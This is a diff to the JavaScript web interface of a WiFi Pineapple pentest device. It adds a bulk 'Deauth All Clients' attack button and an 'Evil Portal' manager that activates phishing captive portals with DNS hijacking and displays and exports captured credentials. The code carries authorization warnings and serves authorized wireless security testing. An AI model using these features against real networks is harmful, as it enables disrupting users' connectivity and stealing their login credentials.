clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
return;
@@ -1431,8 +1486,10 @@ function deauthPanel(ssidRef) {
})())));
body.appendChild(apSel);
body.appendChild(clTable);
body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Only deauth targets you are authorized to test.' }));
body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' },
h('div', {}, deauthAllBtn),
h('div', { class: 'muted', style: 'font-size:12px;align-self:center',
text: 'Only deauth targets you are authorized to test.' })));
if (ssidRef) {
ssidRef.tick = () => {
const liveSsid = ssidRef.current && ssidRef.current.trim();
@@ -2113,6 +2170,26 @@ views.recon = (root) => {
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
});
actions.appendChild(exC);
const focusClients = (ap.clients || []).filter((client) => client && client.mac);
if (focusClients.length && ap.bssid) {
const deauthAll = h('button', { class: 'btn danger recon-focus-action-button',
text: 'Deauth All Clients (' + focusClients.length + ')' });
deauthAll.addEventListener('click', () => {
const ssidLabel = ap.ssid || 'hidden network';
if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' +
ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: focusClients.map((c) => ({
bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' clients');
}), 'Sending…');
});
actions.appendChild(deauthAll);
}
const details = h('div', { class: 'recon-focus-body' });
focusSidebar.appendChild(details);
@@ -4045,3 +4122,175 @@ views.settings_help = (root) => {
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
return { destroy: () => {} };
};
// ---------------------------------------------------------------------------
// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager.
// ---------------------------------------------------------------------------
views.evilportal = (root) => {
root.appendChild(h('h1', { class: 'page-title', text: 'Evil Portal' }));
const box = h('div', { style: 'display:flex;flex-direction:column;gap:16px' });
root.appendChild(box);
function portalCard(title) {
const card = h('div', { class: 'pineap-title-card' });
card.appendChild(h('div', { class: 'pineap-card-title' }, title));
box.appendChild(card);
return card;
}
// ---- Active portal status ----
const statusCard = portalCard('Active Portal');
const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' });
statusCard.appendChild(statusBody);
let activeName = null;
// ---- Templates ----
const tplCard = portalCard('Portal Templates');
const tplBody = h('div', { style: 'font-size:13px' });
tplCard.appendChild(tplBody);
// ---- Import ----
const importCard = portalCard('Import Portal');
const importBody = h('div', { style: 'font-size:13px' });
importCard.appendChild(importBody);
const nameIn = h('input', { placeholder: 'Portal name (optional override)' });
const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' });
importBody.appendChild(h('div', { class: 'row' }, nameIn,
h('div', {}, fileIn)));
importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' }));
function refresh() {
return PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
activeName = d.active || null;
renderStatus();
renderTemplates(d.portals || []);
}).catch(() => App.toast('Failed to load portals', 'error'));
}
function renderStatus() {
statusBody.innerHTML = '';
const on = !!activeName;
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Status' }),
badge(on)));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Portal' }),
h('span', { text: on ? activeName : '—' })));
if (on) {
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('span', { class: 'muted', style: 'font-size:12px',
text: 'Serving on http://<device-ip>/ with DNS hijack (all hostnames resolve to the Pager).' })));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('div', {}, btn('Stop Portal', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'))));
}
}
function renderTemplates(portals) {
tplBody.innerHTML = '';
if (!portals.length) {
tplBody.appendChild(h('div', { class: 'empty',
text: 'No portal templates imported. Import a zip below to get started.' }));
return;
}
tplBody.appendChild(table(
[{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' },
{ key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }],
portals.map((p) => ({
name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0),
_actions: (function () {
const wrapRow = h('div', { style: 'display:flex;gap:6px' });
if (p.name === activeName) {
wrapRow.appendChild(btn('Stop', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'));
} else {
wrapRow.appendChild(btn('Activate', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {})
.then(() => App.toast('Portal active — DNS hijack on'))
.then(refresh), 'Activating…');
}, 'danger'));
}
wrapRow.appendChild(btn('Download', () => {
window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank');
}, 'ghost'));
wrapRow.appendChild(btn('Delete', () => {
if (!window.confirm('Delete portal "' + p.name + '"?')) return;
runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name))
.then(refresh), 'Deleting…');
}, 'danger'));
return wrapRow;
})()
}))));
}
fileIn.addEventListener('change', () => {
const f = fileIn.files && fileIn.files[0];
fileIn.value = '';
if (!f) return;
if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; }
const fr = new FileReader();
fr.onload = () => {
const b64 = String(fr.result).split(',')[1] || '';
runAction(null, () => PagerAPI.post('/api/portals/import', {
name: nameIn.value.trim() || undefined, data: b64
}).then((r) => {
App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"');
nameIn.value = '';
return refresh();
}), 'Importing…');
};
fr.readAsDataURL(f);
});
// ---- Captured credentials ----
const capCard = portalCard('Captured Credentials');
const capBody = h('div', { style: 'font-size:13px' });
capCard.appendChild(capBody);
function loadCaptures() {
return PagerAPI.get('/api/portals/captures?limit=200').then((r) => {
const d = r.data || {};
const caps = d.captures || [];
capBody.innerHTML = '';
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: caps.length ? (caps.length + ' capture(s)' +
(d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }),
h('div', {},
btn('Refresh', () => { loadCaptures(); }, 'ghost'),
caps.length ? btn('Clear All', () => {
if (!window.confirm('Delete ALL captured credentials?')) return;
runAction(null, () => PagerAPI.del('/api/portals/captures')
.then(loadCaptures), 'Clearing…');
}, 'danger') : null,
caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => {
e.preventDefault();
downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2));
}, text: 'Export JSON', style: 'text-decoration:none' }) : null)));
if (!caps.length) return;
capBody.appendChild(table(
[{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' },
{ key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }],
caps.map((c) => ({
when: c.time || fmtTime(c.ts),
portal: c.portal || '—',
ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—',
creds: Object.keys(c.fields || {}).map((k) =>
k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)'
}))));
}).catch(() => {});
}
refresh();
loadCaptures();
const iv = setInterval(loadCaptures, 10000);
return { destroy: () => clearInterval(iv) };
};